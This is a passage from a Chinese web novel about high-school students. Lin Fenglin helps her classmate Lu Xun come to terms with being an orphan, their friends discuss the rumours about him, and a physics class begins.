11. 狗的石头
陆巡陡然间成了一个锯嘴葫芦。
“说呀,我听听,有什么话这么厉害让你一直放不下。”林风临推了一下他的肩膀。
又推了一下。
陆巡像个顽固的不倒翁,被她推得摇摇晃晃,就是不肯开口。
林风临:“好啊,我就知道你们男人没一个好东西,骗走了我的秘密,自己的就赖账!”
陆巡忍不住反驳她:“我没有……没有答应过讲给你听!”
“可是你已经知道了我的一个秘密了!我掏心掏肺对你,你防着我什么意思?”
林风临说话的尾音下沉,看起来又伤心又生气。
陆巡像被她的声音撕扯着一样,心里又酸又乱,搅和得像一锅腊八粥。
反正他在她面前总是没有一点头绪的。
他说:“好吧……其实,经常有人骂我没教养,有人生没人养,因为……”
林风临立刻换了一副面孔,兴奋起来:“就这!你就回:那咋了,我没素质我骄傲!”
“不是不是,”陆巡有点艰难地开口,“他们还会说我是野种——”
林风临熟练地接道:“说得好!我是你爹孙悟空!”
陆巡有点崩溃了:“你能不能听我把话说完?你就不好奇他们为什么这么说吗?”
“因为他们欠骂呗!我现在已经完全进入状态了!还有没有啊?”
陆巡:“……没有了,暂时想不起来了。”
林风临意犹未尽,“就这么一点啊?你再想想,没有别的敌人了吗?他们的招数如此有限?”
陆巡木着脸:“没有。”
.
林风临遗憾地咂了咂嘴,又精神起来:“对了,你要说什么来着?是不是还有别的部分啊?”
陆巡把嘴拉成了一字形,带着怨气和他自己也没察觉到的委屈。
“又怎么了?”林风临摸不着头脑。
陆巡憋不住了,大声指责:“你根本就不是想听我的秘密!你就想展示你有多会骂人!”
“对啊哈哈,被你发现了!你变聪明了!”林风临一脸惊喜。
“你太缺德了,我不想跟你说话了。”陆巡背过身去,肩膀因为气愤上下起伏。
“我怎么缺德了?”林风临把脸凑到他面前,“你如果不愿意说秘密,完全可以说一个假的给我,现在你这么在意,说明你自己也想告诉我真的,那就不是我非要央求你了,是你想求我听,我怎么听是我的事,难道你连我的反应都要控制吗?我必须一脸严肃正襟危坐毕恭毕敬地听吗?”
陆巡被她奇异的逻辑摄住,说不出话反驳。
气得站了起来。
可能是站起来之后吸收到了高处的新鲜空气,他突然灵机一动,驳道:“你自己说你对我掏心掏肺的!你明明就是没心没肺!”
林风临灿烂地笑起来:“哈哈哈哈对啊,掏给你了,所以我没有了!看我对你多好!”
“你本来就没心没肺没心肝!”陆巡胡乱发挥。
“哇,医学奇迹!看我,多神奇!”林风临站起来转了个圈,又原地蹦了两下:“震惊!女子没心没肺竟能正常生活十七年,预计寿命一千岁!”
陆巡看着她在草地上像蚱蜢似的跳起老高,吐出一口气,也笑了起来。
哎,他真的没招了。
看她多开心。
人怎么能活成这样?
就一点不在意世俗的眼光吗?
.
林风临使劲蹦跶,看到他,又想起什么似的大声赞赏:“你现在说话难听多了!加油!”
很奇怪,她这句荒谬的话一出。陆巡好像真的被鼓励到了似的,又有点被这种纯粹的无畏感染,于是他走过去,开口说:“我有一件很小的事要说。”
林风临乱七八糟活动了一通,脸上都有了红润的血色:“什么?”
“我是孤儿。我自己很在意。所以别人一说我就破防。”
林风临若有所思地“哈”了一声,“这就是你藏着掖着的秘密啊。”
陆巡别扭地去看她的脸色,猜测她的看法。
会同情吗?会鄙视吗?还是只是疏远防备?
林风临恍然大悟的样子:“所以你真的觉得自己是野种,而且因为有人生没人养而难过!”
陆巡:“虽然我知道你说话一直蛮难听的,但是你的无耻和不体贴还是超出我的想象。”
林风临先是一脸问号,然后又悟了:“哦哦,你又被伤到了?那这两句话得解决一下。”
她绕着陆巡转了个圈:“让我来梳理一下,你为什么会被这两句话伤到。一个一个来。”
思索了一下,她指挥道:“你叫我一句野种试试。”
陆巡:?
林风临:“叫啊!我在体会呢!”
陆巡露出了难以理解又饱含谴责的神情,还是不甘不愿地开口了:“野种。”
林风临仰望天空,把这两个字代入了一下细细咂摸,然后以严谨的态度开始说话:
“首先,我觉得有点莫名其妙。因为我并不是野外出生的,这个野字从何而来呢?难道是和家养相对?这就奇怪了,难道家养的更高贵?不对吧,家养的肉质都不如野生的……”
陆巡满心的伤痛被无语和荒谬感占据,他忍不住用自己的理解提点她:“他们的意思是不知道你的父母是谁,你是没人要的,没有来处,所以你也没有归处,人群里没有你的位置。”
林风临稀奇地看着他:“你讲话像念诗!你语文考多少分啊?”
陆巡:“你觉得这是提成绩的时候吗?”
“嘶,这也是你的雷点?”扫雷选手林风临有点不可思议。
陆巡瞪着她。
“哦哦我不说了,回到这个野种。”
“不知道你的父母是谁,就很不幸吗?你认同这一点?”林风临看着他沉郁的表情,说出了惊人的话:“如果我说我知道你的父母是谁呢?”
陆巡以为自己今天见识得已经够多了,但是林风临的表现显然超出他最狂野的猜想。
“什么?”
“我知道你的父母,无非是一男一女,发生了关系之后有了你,然后没有能力和意愿抚养你。是两个做事冲动、想不清楚后果,可能也没啥钱,但是擅长逃跑的人。”
她说:“还有什么你想知道的吗?”
陆巡看着她,失语了。
可以这样想吗?
从来没有人说可以这样审视那两个人,他只被教导去爱他们,因为他们创造了他,同时也被鼓励去恨他们,因为他们的狠心。
“那毕竟是你的父母啊。”
“你可是他们的孩子呀。”
这些纠缠混乱的思想从小被灌进他的脑子里,他几乎没有,也不能,不敢去以一个平视的冷静的角度去看他们。
“那……可是,别人的父母都没有逃跑,为什么他们逃跑了?为什么偏偏这样对我?为什么是我?”陆巡抬起头,看着林风临毫无同情的眼睛,问出了他埋在心底的这个问题。
将他的五脏六腑搅得鲜血淋漓的,始终不肯放过他的这个问题。
“这难道不正说明着,我是不幸的吗?”
这句话一出口,陆巡的喉间涌上刺痛的痒,他压抑不住地弯腰咳嗽起来,咳得浑身都在发抖,额上的几条青筋都绷紧着跳动。
林风临站在他面前,看着他弯成一个痛苦的弧度,跌在草地上,扶着地用尽全力,痛痛快快地咳了几十下。
他终于抬头看她,眼里还有刚刚咳出的泪。
很奇怪,她突然觉得,接下来自己说的话,会影响他的命运,让他走向完全不同的路。
这样对吗?
她能负起这个责任吗?
林风临握紧了拳头。
“如果,你的人生停在这里的话,是的。”
“他们拥有你没有的东西。和其他人比较,你是不幸的。”
“但是,如果,你的人生继续走下去,也许你会拥有他们没有的东西。”
“又或者,最重要的本来就不是他们拥有什么,而是你拥有什么。”
她的拳头松开了。
她向跌坐在草地上的陆巡伸出手。
“你要站起来吗?”
天空、河流和草地都静默片刻。
回答她的是他搭上来的手。
陆巡把她温热的手握在掌心
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,突然感受到了他从没有真正领会过的勇气。
于是他放开手。
“别太小看我,我自己能站起来。”
他站了起来,拍拍身上的草。
“我觉得……”,他看着她,开了口,又顿住了一会儿,才说下去:“我可能之前确实运气不是很好,但是……以后不一定。总要试试吧。”
他刚开口的时候不是很自信,但是说到最后,终于还是带上了一点坚定。
林风临心里充盈着一种奇怪的感受,好像有点悲伤,但是很温暖,又似乎满是希望。
刚刚她从他身上接收的那些沉重的情绪消散了,像风一样拂过她,又了无痕迹。
只余一点怅然和轻松。
她长出了一口气,捶了他一拳:“你的运气当然会好起来!你遇见我,就是最好的证明!我是个天才,你知道吗?”
“我知道。”陆巡真心实意地说。
“那……我们还要继续研究另一句关于教养的话吗?”
陆巡哼笑了一声:“不用了。我有人养,福利院的阿姨们从小就把我当猪喂。”
“所以?”
他带着傲气瞥了她一眼:“所以,野种长得很高,我有一米八。那些人有吗?”
林风临:“这个不错。身高是很多人的心病,用这句话去攻击,你很大程度上立于不败之地了。”
她打量着他:“你很有天赋,短短这么一点时间,你的素质水平就下降了这么多!”
她抬起手腕,看了一眼自己的小手表。
“走吧,天才得学习了。我真的在你身上浪费很多时间你知道吗?有这工夫我已经写完两张英语报纸了。”
“我将为你的时间付费。”
“拉倒吧,我都忘了问你,你钱哪来的?”
“我平时逃课会去打工,干了快两年,我可是有存款的。”
“哇塞,看似叛逆实则偷偷上进?打的什么工?”
“都干,端盘子洗碗,修电瓶车。我还当过吉祥物。”
“哇!好玩吗?”
“还行,有好玩的部分。你想玩可以来。”
“我要上课啊,我最多周末来。我也能有工资吗?”
“能的吧……反正我十六岁以后就有了。不行我给你付。”
“不对吧,你花钱怎么这么大方?这么花你还能存下钱?”
“我基本上没有要花钱的地方,学校吃饭的伙食费我们福利院院长给了的。平时我挣了钱,也没有什么想要的。”
“听着好可怜。就是省一点钱全给我花了呗?”
陆巡觉得这话听着有点怪怪的,正不知道怎么回,就见林风临像下定了某种决心似的拍拍他:
“行了,别动不动钱不钱的了,你已经是我的朋友了。我帮你不需要钱。”
陆巡还是觉得不太对:“可是你一直在帮我,我总得……”
“可是你一直要给我钱!我已经算不太清谁欠谁了,不算了,直接当朋友吧。你要是愿意就请我吃食堂,我要是乐意也会请你。这样好了吧?”
说着说着,两人已经走出了小树林。
三三两两的学生从四面八方往教学楼挪动。
林风临感叹了一句:“咱们就光明正大一点吧。以后也不要偷偷摸摸来这里了!我每次进去都感觉像做贼。”
陆巡:“可是我们第一次在小树林见到的时候,你不是因为我吧?”
“什么?什么?想不起来了。”林风临开始装傻。
“哎呀,来不及了,我突然好想做题!”她一撸袖子开始跑。
陆巡看着她跳脱的背影,慢慢跟在她后面。
.
以前有人朝陆巡扔了一块石头,他自己吞了进去,反复用血肉打磨,当成了宝物,守着不肯让人看。
土匪林风临闯进了他家里,直接把他的肚子剖开,掏出那块石头挑剔了一番,逼他看清楚,原来这只是一块很普通很普通的石头。
她随手扔出了窗外,然后走了,门也不关。
真是个疯子啊。
不过,没有那块异物反复发炎,他的肚子终于可以慢慢愈合,以后也许就不会再疼了。
12. 狗的地位危!
午自习又要开始了。
珍贵的午饭休息时间接近尾声,6楼教室外走廊上一片兵荒马乱。
有趁着打铃前赶紧上厕所的,有最后和隔壁班的朋友依依不舍的,有扒着走廊护栏向下招手的,还有纯粹吃饱喝足在走廊晒太阳的。
这么好的阳光,可惜等会儿就照不到了。
于慕青贴着护栏,被后面来来往往的学生擦来碰去,郁闷地问:“你还要站到什么时候啊?这底下的树有那么好看吗?”
陈曼文摆摆手:“反正比卷子好看。”
说起这个,于慕青又忍不住捶了自己吊儿郎当的同桌一拳:“你这个人真的很奇怪!我白担心你了。”
本来接近月考了,她就很紧张,昨天发下来的数学卷子错得那叫一个惨不忍睹,她眼泪都快下来了。
已经敏感到去研究数学老师打红叉的力度和尺寸,来估算他的生气程度了。
关键数学老师还是班主任啊!难以想象他开班会的时候会怎样批斗她!
于慕青虽然平时活泼开朗,可是在老师面前胆小得跟老鼠似的,鲁自强老脸一板,她就恨不得当场退学。
今天中午她真的痛定思痛,早早吃完午饭打算整理卷子的错题,虽然自习还没开始,但是她真的决定努力了!
结果好不容易进入状态的时候,李月然在后面小声叫她。
“青青,曼姐怎么了?是不开心了吗?”
于慕青立刻从学习的状态滚了出来,快得就好像从没进入过。
“什么!诶,她人呢?”
顺着李月然的手指一看,教室窗外走廊上,陈曼文一个人趴在扶手上,背影看起来萧索又消沉。
于慕青顿时明白为什么李月然会担心了。
陈曼文这个人,什么时候看见她不是一副自得其乐满不在乎的样子?
不管哪个老师,在讲台上说什么重点,都没有她桌肚里的零食重要。
这会儿应该吃完饭回座位吃小零食,并且开始痛批食堂的猪食了。
怎么会一个人杵在外面?
于慕青想到陈曼文卷子上大片的空白和她随手一塞的潇洒,顿时悟了。
果然她还是会难过的,不在意只是她的伪装,实际上一个人指不定哭成啥样呢。
李月然小声说:“我们要去看看她吗?”
“你就在此地不要走动,我去探探!”于慕青的使命感涌了上来。
她知道李月然身体不好,说话一直细声细气的,饭也吃很少,体育课都不参加她们的跑步,这个事情就不要压在她身上了吧。
要知道下课期间的走廊堪比繁忙的高速公路,有些追着打闹的男生撞起人来,像没有驾照的野牛。
平常最机灵的林风临也不在,这个任务,舍我其谁!
然后她满腔热血就被陈曼文这个杀千刀的扑灭了。
“为啥一个人站着?哦,我吃撑了坐不下来。顺便晒晒太阳,补补钙。”
于慕青:……
你听听你说的是人话吗?
然后就被陈曼文拉着摸她撑得滚圆的肚子,并且陪她在走廊上吹风晒太阳。
你别说,俯视教学楼下面的林荫道,再眺望一番远处的楼宇,心境确实开阔不少。
于慕青短暂地忘记了数学卷子。
然后她又想了起来。
“走吧,快打铃了。”她从陈曼文背后摇她的肩膀。
“诶,等会儿,看见风临了。”陈曼文抓住她的手不让她再动,示意她看下面。
于慕青凑过去往下一看,还真是!
林风临和她旁边显眼的红帽男。
“这是我们班那个陆巡吧?”于慕青惊呼一声。
陈曼文:“谁?我们班的?”
“哎呀,就是我们班的体育委员,坐在后门口那个,还挺帅的,就是看着太凶了。实际上也挺凶,今早上还在校门口打架了,好多人看见。”
陈曼文不太关心男生,可有可无地点了点头,问:“风临和他熟?”
这也是于慕青奇怪的点,林风临怎么会和这种一看就不像好人的家伙在一起?
她思索了一下,“我想起来了!今早风临还和我打听呢,问他打架的事。很巧的是,陆巡今天打架的对象,就是之前臭不要脸喜欢风临那个隔壁班的冬瓜男,现在变成挂彩冬瓜了,笑死我了。”
听到这,陈曼文多看了下面那个男生一眼:“那就是说,风临雇他做了打手?做事还挺利索。”
“可能是,”于慕青点点头,“没想到这家伙还有这功能,不会向风临收保护费了吧?”
陈曼文觉得不至于,“你把风临想得太弱了吧,她不跟别人收保护费就不错了。指不定把这傻大个骗得团团转呢。”
林荫道上,林风临突然从陆巡身边跑开了,冲进了教学楼。
于慕青看得紧张起来:“怎么了,风临是不是被他威胁了!她都跑起来了!我们怎么办!”
“进教学楼了,等下问问她不就行了,”陈曼文看了看握紧拳头的于慕青,忍不住嘲笑她:“你在这比划啥呢,你的战斗力还不如一根鞋带呢。”
“我现在就杀掉你!”于慕青扑了上去。
旁边有人因为她们的动静看过来了,于慕青回看过去,发现是班里那个冷美人关容。
关容刚刚似乎也一直在看着楼下呢。
奇怪,像她这种高傲的尖子生卷王,也会有想要放风的时候吗?
关容转身回了教室。
于慕青也冷静下来,把陈曼文的校服外套还给了她,“我不跟你打了,我要回去学习!”
陈曼文拎着校服追上她:“你哪里打了?你把我校服扒了!你这一手脱敌人衣服的招数哪来的?这也太卑鄙了!”
.
林风临气喘吁吁爬到6楼,踩完最后一级台阶,刚刚踏上平台,刺耳的铃声就在头顶响起,在四周墙面和空气之中来回震荡。
脑瓜子嗡嗡的,耳朵里灌进的铃声层层重叠,不知道是现在听到的还是两秒前的回声。
真的晕头转向了,为什么教室要在6楼!还不装电梯!
她甩了甩头,精神恍惚地往班级后门冲,然后——直接撞进了别人怀里!
林风临只觉得眼前一花,什么东西好近啊!
接着她就失去了平衡,直接往后倒了,只来得及发出一声无助的受击音效。
被她撞到的男生晃了一下,低头反应很快地拉住了她的手臂。
林风临一只手臂被拉住,仅得到了一点缓冲,另一只手还在空中疯狂扑腾着找着力点——那
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人见状又立即伸手拦住了她的腰,与此同时,她的另一只手也终于摸到了门,总算扶住了!
好不容易站稳,那个男生也松开了她,林风临面无表情地抬起一只手挡住脸,掩面低头发声:“对不起对不起谢谢啊!”
说完就要脚底抹油溜走。
但是那个男生拉住了她的校服袖子,轻声说:“等等,是伤到脸了吗?我看看。”
声音倒是挺温柔的,有点像一块柔软的白色橡皮。
但是很显然林风临的坏情绪并没有被他擦去。
是因为外面铃声太吵她听错了?听听这是什么问题?
没伤到脸,伤到脸面了啊!
她没好气地放下手:“没有!除了我的自尊,没有任何地方受到伤害!”
话刚出口,林风临有点后悔了,因为……她终于看清了这个男生的脸。
怎么说呢?一看就很好欺负。
皮肤白净,头发软软地搭在额前,眉目疏朗清爽,戴着细黑框眼镜,垂眼看向她的样子带着温和的关切。
对这样的人发脾气会感觉很罪恶,但同时……又想试试再过分一点他会如何。
此时这个绵羊一样的男生竟然还笑了,松开手,对她说:“抱歉,我想没有人看见。”
他转头看了看,确认教室里并没有人注意到后门口的这个小插曲。
又对她说:“我叫陈用山,4班的,是来你们班送试卷的。”
既然人家都这么大方了,林风临也板起脸,郑重地说:“我叫林风临。下次不会撞到你了,你放心地走路!”
陈用山又笑起来了,他朝她点点头,继续往外走了。
还好还好,有铃声的掩护,无人发现!
林风临提着的那口气总算松下来,迅速回到了座位。
讨命的铃声总算停了下来。
学生们安静坐在座位上,只偶尔听见一些翻页和笔在桌面上滚动的声响。
林风临定下心来,掏出大得能当桌布的本地高中特色英语报纸,展开感叹了一秒,然后折吧折吧开始勾选项。
她的前桌于慕青却好奇得不得了,着急想问她和陆巡是怎么回事。
但讲台上坐着班长方婉,又不敢交头接耳说话。
过了一会儿,她又一次自以为隐蔽地转头,看到那个凶神恶煞的坏学生陆巡也悠闲地从后门口进来了,还煞有介事地举起一支笔看看笔尖。
我滴妈,这也太装了!
所以这种家伙怎么会和风临扯上关系!
不中了,她太想知道了!
整个原野中学,所有风云人物的情报她都能说得头头是道,可以说一直活跃在校园八卦动态的最前线。
结果她在战场上辛苦打拼,一回头后方失火了!
她的好朋友林风临竟然偷偷摸摸干了一番大事,如果不是今天看见,她甚至可能得从别人嘴里听说。
太过分了!
林风临做阅读做得正上头,突然一个小方块掉在了报纸上,一路滚到了她笔尖。
林风临:?
有何要事,竟在自习课发来急报?
她疑惑地打开小纸条,上面写着情绪饱满的两行话:
“讨厌你!
下课说。”
林风临:……
13. 狗的传闻
午自习的下课铃声一响,教室里刚刚发出嗡嗡声,于慕青就气势汹汹转向林风临。
“从实招来!”
她这一声喝,除了让林风临摸不着头脑,李月然也惊得看她。
陈曼文转过身替她解释,“这家伙看见风临和那个陆巡走在一起了,刺挠一节课了。”
于慕青受到鼓舞地点点头,瞥向林风临:“到底怎么回事?他是不是威胁你?”
林风临感觉完全跟不上她的脑回路,只发出了饱含无辜和困惑的一声“啊?”
李月然比起完全在状况外的同桌,倒是觉得理解几分:“风临,是陆巡又做奇怪的事了吗?”
“肯定是那个陆巡欺负男生不过瘾了,准备对女生开火了!”
“他是不是跟踪风临故意和她抢路走?”
“风临与虎谋皮,身先士卒?”
随着她们你一句我一句的离谱猜测越来越多,林风临脸上的表情,也由纠结化为释然。
她大彻大悟。
就算和陆巡并排走,同桌吃,她也始终清清白白的原因找到了。
这家伙是不可能有绯闻的。
名声太臭了吧你!!
给你机会你不中用啊!
林风临:“我和陆巡其实已经是朋友……算了说了你们也不信。到底他在传说中又干什么了?你们怎么会这么想啊?”
接下来,原中第一八卦王/战火前线情报员/地下潜伏者/齐刘海判官——于慕青为林风临讲述了她所收集到的陆巡作恶案卷录,桩桩件件刺激骇人,寥寥几句就能勾勒出他那青面獠牙、异于常人的天生坏种形象。
“据说他刚开学就踹开了鲁老师办公室的门,在办公室众目睽睽之下鼻孔朝天和老鲁对话,狠狠给了老师们一个下马威。”
林风临:“鲁自强给你说的?”
“后来鲁老师苦心教导他,还不计前嫌提供了班里体育委员的高位,他却出言不逊,当天鲁老师犯病请假回家。”
林风临:“你听听这前因后果牵强不?”
“据说他对任何和他说话的人都怀恨在心,曾经趁着走廊人多拥挤,暗中踢了班主任一脚。”
林风临:“……鲁自强命真大哈。”
“他在校外颇有一番恶势力,曾经暴起伤人,把二中三中的一伙无辜好学生打翻在地,还进了派出所。”
“据说他高一的时候经常消失就是蹲局子去了。”
“他高一时还曾经强抢别人的文具占为己有,那个班里人人自危,只敢把用秃了的2B铅笔放在桌面上。”
“……”
林风临:“这些,你从哪里听来的?”
所有经不起考究的,左右互搏的,自相矛盾的,让人津津乐道的流言。
.
“你的意思是,他其实是个好人,只是被冤枉了?”于慕青很不可思议,“可是为什么就他被冤枉啊?总得有点源头吧。”
林风临点点头:“对,所以我们现在要找到那个源头。”
看着大家迷惑犹疑的神情,她叹口气,还是说:“就他被冤枉,是因为就他遇到了会冤枉他的人,这跟他做了什么没关系。就比如说我,我什么都没做,你们知道隔壁那个冬瓜男说我什么吗?”
于慕青从座位上暴起了:“他敢!他说什么啦!”
陈曼文把她拉下来,“你再大声点,干脆把那冬瓜喊过来直接问呗。”
李月然轻轻皱起了眉,把手靠近林风临:“不管那个冬瓜同学说什么,我们都不会信的,你不要难过。”
“你们当然不会信了,”林风临冷静地说,“因为你们已经对我有了自己的印象,和这个印象相悖的传言你们不会轻易相信。可是那些不认识我的人,听到那个冬瓜的话,就会先入为主。”
“觉得是我做了什么勾引他,玩弄他,又辜负他。”
陈曼文发自内心地点评道:“这玩意儿他也配!”
于慕青已经坐不住了,“我去找我5班的人脉问问!我倒要看看他说你什么,怎么有脸的!”
林风临静静看着她,“你如果去听站在他那边的人说话,一定会听到那些所谓我做了什么的证据。而且,你听过那些骂我的话之后,尽管你很排斥,还是会在以后每一次见到我的时候想起来。”
于慕青那张活泼天真的脸上,出现了无措和迷茫的神情。
林风临看着她的样子,自己也莫名难过起来,小声说:“就像我虽然不相信陆巡的流言,可是一开始见到他的时候,还是会下意识心生警惕。我花了很多心力才纠正过来。”
“这些流言真的很烦人,我早就厌倦了。我甚至察觉到别人看着我,都有点烦,因为我知道,他们一定在心里评价我。”
林风临说着说着,趴在了桌子上,不说话了。
李月然轻轻拍拍她:“都会过去的。像我记性就不好,我已经忘记了。”
“忘记什么?”
“……不知道。”
林风临被她笨拙又一本正经的安慰逗笑了,一笑出声,连自己刚刚打算说什么也忘了。
于慕青也安静下来,把林风临的笔袋挪开,自己也伏在她桌子上,和她面对面趴着。
“对不起,风临,”她小声说,“我不知道怎么做最好……我以为获得更多的消息,就能避免犯错,做更好的决定。”
“但是现在想想,我根本不知道怎么判断真假,别人说什么,我就记什么,总觉得知道得越多就越厉害。”
“哎,我真没用。”
看着于慕青消沉的样子,林风临陡然间觉得自己不应该那样对她说话。
又不是她的错。
那么多人都那么说,她跟着一起说,又不是她有意的。
人云亦云的趋势,哪有那么容易意识到?
陈曼文看着这沉重的氛围,嗤了一声:“你们的情绪也太丰富了,多大点儿事啊。说就说了呗,骂就骂了呗,有意见就有意见呗,吃不吃妙脆角?”
她在桌肚里捣鼓了一会的手伸过来摊开,手心的一堆妙脆角红亮亮的,纹路里都涂满了孜然粉。
“吃!”
“吃。”
“我想要一个。”
几个人像小鸡似的把手曲成爪子,从陈曼文的手心里啄走了食物。
四个女孩子都开始专心致志地活动嘴巴。
吃着吃着,于慕青抱怨
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说:“那个冬瓜男,真是没有自知之明,长这么大没见过镜子啊?还敢打风临的主意!”
陈曼文:“你嚼的时候能不能闭上小嘴巴,喷我脸上了!”
林风临真的愤慨了:“等一下,我早就想说了,这些家伙根本不懂什么是喜欢!”
“我真的服了这些男生了,要是暗恋我,你就老老实实躲在暗处;要是明恋我,你就大大方方站到我眼前!”
“曲里拐弯地把一大批人牵扯进来当二道贩子!有必要这么复杂吗?”
“有本事堂堂正正比一下魅力啊!”
“老是各种在别人面前表演对我的喜欢算什么?撺掇不相干的闲人到我面前来说三道四,不觉得这种试探像作弊吗?”
林风临表情严肃,越说越快:“好话都说给别人听了,在别人嘴里过个三道四道的,谁稀罕这种二手表白?有话不敢到我面前说,把自己的自尊看得比天高,怎么没想到我也有自尊?叫一帮人围住我试探我,观察点评我的表情反应,请问他是人吗?他喜欢我?他喜欢为难我吧!”
这一通话说完,舒服多了。
她呼出一口气,“爽!哎呀,应该当面说的!”
于慕青灵光一闪,挺起了胸膛:“你放心,我有办法!保证他能听到这些话!保证他们全班人都能听到!”
陈曼文给她竖起了大拇指:“做坏事的时候你是有精神的!”
李月然忧心道:“我觉得他听不懂。”
“然然,我第一次发现你攻击力还挺强的。”林风临不禁对同桌刮目相看。
.
一大包妙脆角都吭哧吭哧吃完了,竟然还没上课。
林风临看自己的手表:“上课时间都过了八分钟了,铃声是不是坏了?”
教室里的其他同学显然也发现了,纷纷窃窃私语起来。
当然也有人抓紧偷来的这几分钟再多玩一会,什么自觉拿出书温习,不可能的。
班长方婉起身,纤细挺拔的身影急匆匆地出了教室门,应该是找老师去了。
林风临的目光慢慢移向后排,发现那里热火朝天的氛围中,陆巡竟然正在低头认真地写着什么,看起来丝毫不受诱惑,在几个玩球的男生中极为显眼,也十分异常。
“陆哥,写啥呢?为啥不和我玩啊?”王竞勇挨在陆巡肩膀边上,眼巴巴地邀请。
陆巡没说话,只是用左手挡了一下内容,右手丝毫不停。
他已经总结出了规律,一旦和王竞勇对视,或对话,接下来就没完了。
一定不能理睬他。
果然,王竞勇看了他一会儿,失望地转移目标,继续和后排的其他人打闹了。
林风临大感欣慰,陆巡看来真的投身学习了,不错不错,孺子可教!
她也赶紧扭回身体,找出了一张卷子。
.
班长方婉回来了,带来让人意料之中失望的消息:“教学楼铃声故障。物理老师马上到。”
她也不管下面哀嚎的同学,自顾自走到座位坐下。
关容在窗边第一排,没有任何动静,好像没有知觉一样低头写着卷子。
方婉收回目光,脸色冷了下来。
14. 狗的努力
高二6班的物理老师是安修竹,她四十多岁了,身材修长,气质卓然。
无论何时看见她,她总是平和淡然的,微微笑着,看不出什么情绪波动。
即便此刻,由于上课铃故障,已经损失了几分钟宝贵的上课时间,她穿过走廊的步伐也是不急不缓的。
她甚至没有透过窗户往里看一眼,学生们便随着她步伐的靠近,一步,一步,更加安静。
在这样的气氛中,王竞勇在教室后排弄出的动静也就越来越显眼。
球是着急忙慌地藏在脚底下了,书找不到了。
他整个人的脑袋都快钻进桌肚里了,找得满头大汗。
不知道为什么,王竞勇特别怕物理老师。
尽管安老师说话轻声细语,眉眼含笑,没对任何人说过重话。
但出于某种小动物般的直觉,王竞勇还是一听见她的名字就发怵。
这回是真完蛋了,物理书怎么会找不到呢?难道今天就是他的死期?
他把整张桌子捣鼓得咚咚直响,几本书滑溜溜地顺到了地下,还时不时飞出两张皱巴巴的卷子,伴随着他不敢置信的喃喃自语“怎么会呢”“我明明记得就随手一放啊”“去哪里了”“完了完了这下完了”……
在这样恶劣的环境下,他的冷峻同桌陆巡终于暂停了自己笔下的重要工作,说出那句经典的问候:“你他爹的到底在找什么?”
王竞勇压低身体,借桌子的掩护紧张地看着走进来的安老师。
他颤抖着说:“我的物理书……我的物理书……”
一般来说,找不到东西的时候,人们常常会抱着一种“我喊它一声它万一答应了呢”的朴素愿望,来发出祈祷。
这一次,幸运的王竞勇,得到了神的眷顾。
一本物理书从他同桌手里斜斜飞到了他面前。
“用我的,别嚎了。”
物理书的电流封面在眼前奇迹般显现的这一刻,王竞勇觉得,大恩大德,没齿难忘!
这个想法一出,他惊觉,自己还挺有文化的。
但是脑中紧接着跳出来的结草衔环当牛做马以身相许来世再报又是什么意思呢?
王竞勇已经疑惑很久了,他总觉得有人往他的脑子里放东西了,而且这些人还不是老师。
要是老师也放点东西进来就好了。
安老师站在讲台上,扫视了一圈同学们,就微笑着直接开启了讲课。
这也是此女的恐怖之处,毫无寒暄,没有铺垫,在阳光下笑着走向你,然后一脚把你踹进物理学的海洋。
林风临安静地听着课,其实她对物理学挺感兴趣的,准确来说,她对任何事物运行创造的规则都很感兴趣,电如何产生磁,磁如何产生电,这些看不见摸不着的神奇力量,是如何被人类掌控又用于生活,这个过程就像魔法师在指尖生出火种。
可惜学生们只被允许用它来钻火圈。
明明那么多有意思的应用场景,为什么试卷上尽是一些让人看了想死的题目?
林风临看着安老师转身在黑板上写下一道居然自称应用题的东西,脸上的情绪自动掉了一档。
她真的很难对小球的受力分析与运动轨迹产生什么渴望。
为什么一个球要那么巧进入电场,又义无反顾地滚入变化的磁场?球不应该在待在操场吗!
或者待在王竞勇的桌子底下。
.
陆巡面无表情地把球踢回去,桌上的手仍在奋笔疾书。
王竞勇心虚得就好像在物理课上开小差的人是自己,不断地看看安老师,又看看陆巡。
再让他这么看下去,安老师真要来制裁了。
陆巡阴沉沉地低声说:“你的眼睛给我转过去,不要放在我身上。”
王竞勇一腔报恩的热血全泼成委屈:“我给你望风还不行?”
“你以为老师是傻子?你在底下玩球她都能看见,她能不知道我没听课?”
王竞勇倒吸一口凉气,忍不住去观察安修竹的脸色,又不敢置信地问陆巡:“她知道?她知道我桌子下面有球?”
“所有人都知道。”陆巡声音冷淡。
然后他稍侧了身,把王竞勇的震惊痛苦关在外面,继续写他手上的东西。
不知道哪来的空白数学卷子,他已经把大题的空白处全写满了,心里的话还没写完,越写越挤,又打了个箭头指到夹缝处接着写。
似乎想到什么,越写他的脸色越难看,但是他还是逼自己写下去,好像这些对他非常重要似的。
.
安老师在黑板上写完了例题,转过身来,让大家思考一会儿,等会请同学们站起来分享自己的答案。
教室里弥漫着死寂。
陈曼文瞪着个眼睛和黑板面面相觑,用余光观察了一下安老师,感觉这样太明显,只好低头在草稿纸上画了个丁老头,再装模作样地抬头思索。
这样过了好久之后,她已经生产出了一个丁老头家族。
抬头一看钟……
我靠,怎么才过了两分钟!
真的完蛋了。
其他人似乎都在低着头奋笔疾书,那个下笔如有神啊。
陈曼文抱着最后一点希望,侧过头去瞄自己的同桌。
天塌了。
于慕青这东西也背叛革命了!
她头垂得低低的,笔握得紧紧的。
答案挡得牢牢的。
……
陈曼文的心掉进了南极的企鹅肚子里了。
好哇,防着我!
绝望的时候,我们常常会以为自己孤立无援。
事实上,如果你愿意睁开眼睛仔细看看,就会发现。
这里绝望的人,不止你一个。
于慕青已经把例题的题目抄了六遍。
字越写越狂放,手越来越酸,但是不敢停。
救救我!救救我!我明明认真听课了!为什么感觉老师教的和题目一点关系都没有!
她的背后,林风临在草稿纸上列出了所有已知条件,用学过的公式把这些条件全代入了一遍,得出了进一步的……条件。
该死!所以这些东西怎么联系起来?
怎么物理越来越难了!
初中的时候她可擅长物理了,这次月考不会要栽吧?
安老师在教室里转了转,停在几个倒霉的学生身后看着他们解题,又似笑非笑离开。
转到窗边,坐在那里的关容同学已经停笔了,在周围埋头煎熬的学生们中很突出。
安老师走到她面前,拿起她的草稿纸看了看,赞许了一声“不错”,又交还给她。
关容平静地接过,脸上一点高兴的样子都没有。
“好了,时间差不多了,我们来请同学讲讲她的思路吧。”
“来,林风临。”
为什么是我!我会的时候不叫我!这个时候知道叫我来丢脸了!
林风临在心里大声控诉,慢吞吞拿着草稿纸站起来,扯了扯校服下摆,又抬手整理了一下不存在的刘海,清清嗓子,仿
